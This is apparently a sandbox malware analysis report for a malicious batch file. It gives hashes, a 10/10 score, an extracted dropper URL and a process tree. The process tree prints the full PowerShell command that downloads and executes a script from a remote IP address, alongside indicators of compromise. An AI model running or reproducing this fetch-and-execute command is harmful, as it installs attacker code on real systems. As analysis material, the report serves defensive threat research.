1a887694ba9f6fda88acd9489627ab0c6aecb03059490ece4c94af2007d9867c | Triage

Analysis

max time kernel
127s
max time network
150s
platform
windows10_x64
resource
win10v200430
submitted
19-05-2020 05:10

Sharing

Report Analysis Logs

General

Target

b63535d35f9c9567c0746741d709d3ec.bat
Size

215B
MD5

af820466ba8a425cc2616229818a51cf
SHA1

9b8b46c04b3e16d6c6b98db7ed9423b2c7ba78bb
SHA256

1a887694ba9f6fda88acd9489627ab0c6aecb03059490ece4c94af2007d9867c
SHA512

eb7f0b0f20201774182cedd5df9a0d22be50128cac83341bccee3521d86cd8f029f2f921b54fd17da28ffc9be3eb579dcd12207be8abd4c109bc9148fe59b186

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/b63535d35f9c9567c0746741d709d3ec

Signatures

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2168 WerFault.exe
Token: SeBackupPrivilege 2168 WerFault.exe
Token: SeDebugPrivilege 2168 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2168 1972 WerFault.exe powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b63535d35f9c9567c0746741d709d3ec.bat"
1⤵
PID:1632

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/b63535d35f9c9567c0746741d709d3ec');Invoke-GQWTYAZL;Start-Sleep -s 10000"
2⤵
PID:1972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1972 -s 704
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Program crash
PID:2168

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2168-0-0x00000000044C0000-0x00000000044C1000-memory.dmp

Filesize
4KB

Download
memory/2168-1-0x0000000004BF0000-0x0000000004BF1000-memory.dmp

Filesize
4KB

Download